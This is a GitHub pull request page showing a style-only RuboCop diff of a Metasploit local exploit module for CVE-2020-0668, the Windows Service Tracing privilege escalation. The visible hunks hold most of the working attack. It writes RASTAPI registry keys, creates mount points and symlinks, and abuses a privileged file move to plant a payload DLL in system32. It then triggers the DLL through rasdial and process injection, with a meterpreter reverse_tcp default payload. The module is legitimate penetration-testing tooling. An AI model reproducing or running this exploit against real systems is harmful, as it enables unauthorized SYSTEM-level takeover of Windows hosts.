Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RuboCop autofix exploit/windows/local/cve_2020_0668_service_tracing #13585

Merged
merged 2 commits into from
Jun 10, 2020
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
173 changes: 87 additions & 86 deletions modules/exploits/windows/local/cve_2020_0668_service_tracing.rb
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,6 @@
require 'msf/core/exploit/file_dropper'
require 'msf/core/post/file'


class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

Expand All @@ -24,61 +23,63 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File

def initialize(info = {})
super(update_info(info,
'Name' => 'Service Tracing Privilege Elevation Vulnerability',
'Description' => %q(This module leverages a
wvu marked this conversation as resolved.
Show resolved Hide resolved
trusted file overwrite with
a dll hijacking
vulnerability to gain
SYSTEM-level access on
vulnerable Windows 10 x64
targets),
'License' => MSF_LICENSE,
'Author' =>
[
'itm4n', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 11 2020',
'References' =>
[
['CVE', '2020-0668'],
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
['URL', 'https://github.com/itm4n/SysTracingPoc'],
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
['PACKETSTORM', '156576'],
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => false,
'EXITFUNC' => 'thread',
'Payload' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}))
super(
update_info(
info,
'Name' => 'Service Tracing Privilege Elevation Vulnerability',
'Description' => %q{
This module leverages a trusted file overwrite with a DLL hijacking
vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64
targets.
},
'License' => MSF_LICENSE,
'Author' =>
[
'itm4n', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 11 2020',
'References' =>
[
['CVE', '2020-0668'],
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
['URL', 'https://github.com/itm4n/SysTracingPoc'],
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
['PACKETSTORM', '156576'],
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => false,
'EXITFUNC' => 'thread',
'Payload' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}
)
)

register_options([
OptString.new('EXPLOIT_DIR',
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
OptBool.new('OVERWRITE_DLL',
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
OptString.new('PAYLOAD_UPLOAD_NAME',
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
OptString.new('PHONEBOOK_UPLOAD_NAME',
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
])
OptString.new('EXPLOIT_DIR',
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
OptBool.new('OVERWRITE_DLL',
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
OptString.new('PAYLOAD_UPLOAD_NAME',
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
OptString.new('PHONEBOOK_UPLOAD_NAME',
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
])
# stores open handles to cleanup properly
end

Expand Down Expand Up @@ -113,26 +114,26 @@ def remove_reg_value(registry_hash)
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Unable to clean up registry")
print_bad('Unable to clean up registry')
print_error(e.to_s)
end
end

def create_reg_hash(new_size, exploit_dir)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "EnableFileTracing",
value_type: "REG_DWORD",
reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
value_name: 'EnableFileTracing',
value_type: 'REG_DWORD',
value_value: 1,
delete_on_cleanup: false)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "FileDirectory",
value_type: "REG_EXPAND_SZ",
reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
value_name: 'FileDirectory',
value_type: 'REG_EXPAND_SZ',
value_value: exploit_dir,
delete_on_cleanup: false)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "MaxFileSize",
value_type: "REG_DWORD",
reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
value_name: 'MaxFileSize',
value_type: 'REG_DWORD',
value_value: new_size,
delete_on_cleanup: false)
reg_keys
Expand All @@ -150,7 +151,7 @@ def remove_file(file_pathname)
def cleanup_mountpoint(dir)
print_status("Delete mountpoint #{dir}")
unless delete_mount_point(dir)
print_error("Error when deleting the mount point.")
print_error('Error when deleting the mount point.')
end
begin
session.fs.dir.rmdir(dir)
Expand Down Expand Up @@ -182,7 +183,7 @@ def inject_magic(process)
dll = ''
::File.open(library_path, 'rb') { |f| dll = f.read }
exploit_mem, offset = inject_dll_data_into_process(process, dll)
vprint_status("Trigger injected.")
vprint_status('Trigger injected.')
payload_mem = inject_into_process(process, payload.encoded)
print_status('Trigger injected. Starting thread...')
process.thread.create(exploit_mem + offset, payload_mem)
Expand Down Expand Up @@ -213,9 +214,9 @@ def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathn
mount_dir = '\\RPC Control\\'

# Create mountpoint
print_status("Creating mountpoint")
print_status('Creating mountpoint')
unless create_mount_point(exploit_dir, mount_dir)
fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")
fail_with(Failure::Unknown, 'Error when creating the mount point... aborting.')
end

# Upload payload
Expand All @@ -226,18 +227,18 @@ def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathn
vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")

# Create Symlinks
print_status("Creating Symlinks")
print_status('Creating Symlinks')
vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")
symlink_handle = create_symlink(nil, '\\RPC Control\\RASTAPI.LOG', "\\??\\#{upload_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")
fail_with(Failure::Unknown, 'Error when creating the RASTAPI.LOG symlink... aborting.')
end
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
handles.push(symlink_handle['LinkHandle'])
vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")
symlink_handle = create_symlink(nil, '\\RPC Control\\RASTAPI.OLD', "\\??\\#{target_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")
fail_with(Failure::Unknown, 'Error when creating the RASTAPI.OLD symlink... aborting.')
end
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
handles.push(symlink_handle['LinkHandle'])
Expand All @@ -249,7 +250,7 @@ def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathn

# Upload phonebook file
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + '\\' + phonebook_name
launch_rasdialer(upload_phonebook_pathname)
register_file_for_cleanup(upload_phonebook_pathname)
vprint_status("Checking on #{target_payload_pathname}")
Expand All @@ -258,21 +259,21 @@ def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathn
vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")

# clean up after file move
print_status("Cleaning up before triggering dll load...")
print_status("Removing Registry keys")
print_status('Cleaning up before triggering dll load...')
print_status('Removing Registry keys')
reg_hash.each do |entry|
remove_reg_value(entry)
end
print_status("Removing Symlinks")
print_status('Removing Symlinks')
handles.each do |handle|
result = session.railgun.kernel32.CloseHandle(handle)
vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
end
print_status("Removing Mountpoint")
print_status('Removing Mountpoint')
session.fs.dir.rmdir(exploit_dir)
print_status("Removing directories")
print_status('Removing directories')
unless moved_md5 == upload_md5
fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")
fail_with(Failure::Unknown, 'Payload hashes do not match; filecopy failed.')
end
end

Expand All @@ -284,17 +285,17 @@ def exploit
target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
if file?(target_payload_pathname)
print_warning("#{target_payload_pathname} already exists")
print_warning("If it is in use, the overwrite will fail")
print_warning('If it is in use, the overwrite will fail')
unless datastore['OVERWRITE_DLL']
print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")
print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
end
end

# set up variables
temp_dir = session.sys.config.getenv('TEMP')
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
upload_payload_pathname = session.sys.config.getenv('TEMP') + '\\' + Rex::Text.rand_text_alpha(6..13) + '.dll'
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")

Expand All @@ -304,7 +305,7 @@ def exploit
# launch trigger
launch_dll_trigger
print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
print_status("Exploit complete. It may take up to 10 minutes to get a session")
print_status('Exploit complete. It may take up to 10 minutes to get a session')
end

def validate_active_host
Expand Down Expand Up @@ -340,13 +341,13 @@ def launch_rasdialer(upload_phonebook_pathname)
begin
upload_file(upload_phonebook_pathname, local_phonebook_path)
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to upload phonebook")
print_error('Failed to upload phonebook')
return nil
end
print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")

# Launch RASDIAL
vprint_status("Launching Rasdialer")
vprint_status('Launching Rasdialer')
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
Expand Down